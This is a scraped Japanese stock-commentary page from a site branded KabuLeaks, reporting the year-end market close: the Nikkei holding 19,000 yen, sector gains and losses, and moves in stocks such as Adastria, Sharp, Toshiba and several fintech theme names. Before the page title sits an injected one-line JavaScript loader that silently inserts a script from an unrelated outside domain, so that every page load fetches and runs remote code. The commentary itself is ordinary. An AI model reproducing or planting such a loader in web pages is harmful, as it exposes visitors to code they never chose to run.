;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【12/30 大納会 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【12/30 大納会 大引け】

大納会の日経平均株価は51円高と3日続伸。後場は利益確定売り先行で上げ幅を縮小して始まり、その後一時は持ち直すも終盤にかけ再び売られる展開。大引けでは節目の1万9000円台を維持したものの、年末年始の休暇入りすることや材料に乏しいことから上値の重さが目立った。業種別では、電気・ガス業、食料品、小売業、陸運業など値上がり率上位に。一方、海運業、保険業、    鉄鋼、ガラス土石製品などが値下がり率上位となった。

個別では、29日の決算発表の内容を好感された【2685】アダストリアが大幅上昇。再編思惑など高まって【6753】シャープが買い優勢に。また、東芝が医療機器子会社の売却を富士フイルムに打診していることが判明したとの一部報道を材料視され【6502】東芝、【4901】富士フイルムホールディングスの両社が上昇。また、仕手性の強い小型株、【8704】トレイダーズホールディングスは、提携先のLiquidがイオン銀行と提携と伝わったことが材料視され急伸。

その他、人気のテーマ株。フィンテック関連から【3778】さくらインターネット、【3917】アイリッジ、【3853】インフォテリア、【3690】ロックオン、自動運転関連から【4667】アイサンテクノロジー、【3663】アートスパークホールディングスなどが後場からの一段高と、直近の上昇からの利益確定売りも警戒されたが、これをものともせず上昇。根強い人気を示した。

日経平均は1万9000円回復。そしれこれを維持し、プラス圏維持の大納会にはなったが、原油価格の下落に対する懸念は依然として根強く、中東産油国の投資家による換金売りが相場の不安材料あり。年明けもこのラインを下値サポートに底堅く推移するか注目を継続しておきたい。年明け早々1万9000円割って始まるようなら一旦の警戒も。